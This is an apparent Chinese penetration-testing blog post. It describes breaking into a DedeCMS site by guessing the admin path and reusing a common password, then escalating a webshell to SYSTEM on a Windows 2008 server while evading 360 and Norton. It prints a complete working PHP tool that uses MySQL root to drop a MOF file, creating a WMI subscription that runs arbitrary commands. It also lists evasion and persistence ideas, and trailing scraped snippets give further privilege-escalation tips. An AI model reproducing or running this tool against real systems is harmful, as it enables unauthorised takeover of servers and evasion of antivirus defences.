一次绕过360+诺顿的提权过程

索引

0x01 获取webshell

0x02 绕过杀软提权思路

0x03 mof 提权原理

0x04利用mysql写入mof提权

0x05 总结

0x01 获取webshell

在一次渗透中,获取了内网主机若干,外网就只搞下2台主机,一直想对关键的业务服务器进行渗透,机缘巧合之下 看见目标主战居然是dedecms,版本比较新是20150507 的,手上没有0day,就靠基本思路后台--webshell来搞,先猜后台

/admin123
管理员名字+电话
/admin域名
域名+admin

域名+manage

猜到域名+admin 的时候,出来了dedecms的主站页面, 拿管理员的常用密码测试,进入后台获取webshell

0x02  提权
进去一看,执行cmd不成功,分析看看是什么原因导致的呢? 执行phpinfo();  看到disable_function这里把常用的敏感函数给禁止了
环境为apache+windows2008+诺顿+360,apache在windows上默认是已system权限上启动的, 也就是说我们的webshell能直接修改任意文件了,在shell翻到了mysql的root密码(默认情况下mysql也是root权限)

现在就有以下几种思路:

1.覆盖sethc或者放大镜
2.mysql udf提权
3.mof提权
4.替换常用软件,等管理员登录来点击
(添加shellcode)
5.在启动项里增加bat,或者远控,前提是远控要免杀, bat直接加管理员会被360杀 ,缺点是要等电脑重启,一般服务器重启至少得等10.20天,等来黄花菜都凉了···  要他重启还可以流量ddos,或者用php把他cpu耗尽,自然也重启了, 不过动作太大了 不太好。容易让管理员意识到有人攻击
6.dll 劫持

  试常用的sehtc劫持和放大镜劫持 直接被360干掉了,(本地360复现的)
测试mysql udf提权 提权的shell  被诺顿和360杀的不要不要的··惨··
测试替换常用软件 ,看见管理员已经10多天没有登录, 不知道等他登录要多久·· 而且免杀是个问题·· 远控不免杀··
测试启动项直接加用户,尼玛360又拦截··
问群里的大牛, 大牛说可以试试mof提权,

0x03 mof 提权原理

Windows 管理规范 (WMI) 提供了以下三种方法编译到WMI存储库的托管对象格式 (MOF) 文件,其中一种是

拖放到%SystemRoot%\System32\Wbem\MOF文件夹的 MOF 文件。

wmi 是可以调用WScript.Shell 的,WScript.Shell 可以直接调用cmd执行文件,提权

0x04 利用mysql写入mof提权

<?php
$path="c:/windows/system32/canimei";
session_start();
if(!empty($_POST[‘submit‘])){
setcookie("connect");
setcookie("connect[host]",$_POST[‘host‘]);
setcookie("connect[user]",$_POST[‘user‘]);
setcookie("connect[pass]",$_POST[‘pass‘]);
setcookie("connect[dbname]",$_POST[‘dbname‘]);
echo "<script>location.href=‘?action=connect‘</script>";
}
if(empty($_GET["action"])){
?>
<html>
<head><title>Win MOF Shell</title></head>
<body>
<form action="?action=connect" method="post">
Host:
<input type="text" name="host" value="192.168.200.144:3306"><br/>
User:
<input type="text" name="user" value="root"><br/>
Pass:
<input type="password" name="pass" value="toor"><br/>
DB:
<input type="text" name="dbname" value="mysql"><br/>
<input type="submit" name="submit" value="Submit"><br/>
</form>
</body>
</html>
<?php
exit;
}
if ($_GET[action]==‘connect‘)
{
$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die(‘<pre>‘.mysql_error().‘</pre>‘);
echo "<form action=‘‘ method=‘post‘>";
echo "Cmd:";
echo "<input type=‘text‘ name=‘cmd‘ value=‘$strCmd‘?>";
echo "<br>";
echo "<br>";
echo "<input type=‘submit‘ value=‘Exploit‘>";
echo "</form>";
echo "<form action=‘‘ method=‘post‘>";
echo "<input type=‘hidden‘ name=‘flag‘ value=‘flag‘>";
echo "<input type=‘submit‘value=‘ Read ‘>";
echo "</form>";
if (isset($_POST[‘cmd‘])){
$strCmd=$_POST[‘cmd‘];
$cmdshell=‘cmd /c ‘.$strCmd.‘>‘.$path;
$mofname="c:/windows/system32/wbem/mof/system.mof";
$payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\")
instance of __EventFilter as \$EventFilter
{
EventNamespace = \"Root\\\\\\\\Cimv2\";
Name = \"filtP2\";
Query = \"Select * From __InstanceModificationEvent \"
\"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \"
\"And TargetInstance.Second = 5\";
QueryLanguage = \"WQL\";
};
instance of ActiveScriptEventConsumer as \$Consumer
{
Name = \"consPCSV2\";
ScriptingEngine = \"JScript\";
ScriptText =
\"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\";
};
instance of __FilterToConsumerBinding
{
Consumer = \$Consumer;
Filter = \$EventFilter;
};";
mysql_select_db($_COOKIE["connect"]["dbname"],$conn);
$sql1="select ‘$payload‘ into dumpfile ‘$mofname‘;";
if(mysql_query($sql1))
echo "<hr>Execute Successful!<br> Please click the read button to check the result!!<br>If the result is not correct,try read again later<br><hr>"; else die(mysql_error());
mysql_close($conn);
}
if(isset($_POST[‘flag‘]))
{
$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die(‘<pre>‘.mysql_error().‘</pre>‘);
$sql2="select load_file(\"".$path."\");";
$result2=mysql_query($sql2);
$num=mysql_num_rows($result2);
while ($row = mysql_fetch_array($result2, MYSQL_NUM)) {
echo "<hr/>";
echo ‘<pre>‘. $row[0].‘</pre>‘;
}
mysql_close($conn);
}
}
?>

  

0x05 总结

猜后台>撞密码>webshell>提权 的一个过程

参考连接:

http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390
http://lcx.cc/?i=4048
http://blog.csdn.net/yiyefangzhou24/article/details/11760277

时间: 2024-10-29 19:07:26

一次绕过360+诺顿的提权过程的相关文章

安全狗+360全套下提权(system权限)

起因:某日某群某人 有句话说的很好"如果你还没瞎,就别用耳朵去了解!" ,还是自己去琢磨下比较保险. 运气好,是system权限. 本以为应该很简单,但是-- systeminfo查询得出系统信息:win7旗舰版 目测X86系统. 没错就是win7,但发现3389无法连接.随机执行tasklist /svc命令得出:360全套+服务器安全狗 在通过netstat -ano命令得出:3389端口是开启 出现上面得出思路:1.tcp/ip筛选2.防火墙3.安全狗拦截4.内网环境一般情况大家

记一次提权过程

太久都没有看菜刀上的webshell,之前拿的都被删的差不多了,所以决定把手上的一些站都提权.菜鸟拿一个shell不简单阿. 这都是一些简单的提权,大牛可飞过. 把大马上传上去后,稍微看了下,ASP,PHP,ASPX都是支持的,不过wscript.shell组件是已经关闭的了.那么就用PHP的来提权吧. 翻了一下网站里面的文件,找到了一个数据库链接文件,竟然还是root用户,那自然就是用mysql来提权了. 上传大马,看看root的权限有没有被限制. 还是可以跨目录来访问其他文件的,说明root

提权笔记本

/* 转载请注明出处 ID:珍惜少年时 */ 21------------FTP //找到其FTP目录,破解其密码搜索,提之 22------------linux终端 23------------telnet //可以爆破,然后dos连接之,连接后添加用户开启终端端口,然后宣告拿下! 1433----------mssql提权 //需要找到sa密码,一般存在于web.config文件中,uid pwd sa为关键字,找到该文件后Ctrl+f搜索关键字提之 3306----------mysql

Linux提权:从入门到放弃

日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子扼杀在提权的萌芽里面.Linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置.一下是我总结的一些提权方法. 几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏洞是我们几乎最先想到的提权方法.通杀的内核漏洞是十分少见的,因而我们应该先对系统相关

[技术分享]借用UAC完成的提权思路分享

借用UAC完成的提权思路分享 背景 UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码. 也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限.如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程. 提权过程概述 首先我们找到目标程序,查找其动态加

Linux下提权常用小命令

有些新手朋友在拿到一个webshell后如果看到服务器是Linux或Unix操作系统的就直接放弃提权,认为Linux或Unix下的提权很难,不是大家能做的,其实Linux下的提权并没有很多人想象的那么难,你真去尝试做了,也许你就会发现Linux下的提权并不难,尤其是一些简单的提权方法是很容易学会的.Linux下的提权我知道的比较简单的方法都是在命令行下完成的,很多新手叉子可能根本没接触过Linux下的一些常用命令,今天危险漫步就给大家介绍一些Linux下提权过程中常用到的Linux命令,由于我也

一些渗透提权心得

因为某原因搞某个站.主站搞不动,只能从二级域名下手,二级域名大多也不好搞,but,发现其中一个站上有其他不少旁站,于是从旁站下手.拿shell无亮点,一笔带过吧,上传,bingo~提权过程得到点心得和经验,重点分享下:Shell允许跨目录,看了下权限,network service:因为数据库是sqlserver,故想尝试找到数据库连接串,用sa来提,but:用其他库的库用户登录可以成功,能够读库,可就是用sa账户登录失败,难道密码不对?或者密码过期了?于是想上各种溢出继续XO,看了下补丁情况:

从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

本文作者:i春秋签约作家--酷帥王子 一. 利用getwebshell篇 首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 下面进后台发现有fckeditor,而且还是iis6.0的,可以考虑创建个asp目录来构造解析(fck编辑器路径被改成别的需要burpsuite抓包的时候看到) 下面我们构造一个asp目录,如: http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp

web提权笔记

[ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1.exe user 2.当提权成功,3389没开的情况下,上传开3389的vps没成功时,试试上传rootkit.asp 用刚提权的用户登录进去就是system权限,再试试一般就可以了. 3.cmd拒绝访问的话就自己上传一个cmd.exe 自己上传的后缀是不限制后缀的,cmd.exe/cmd.com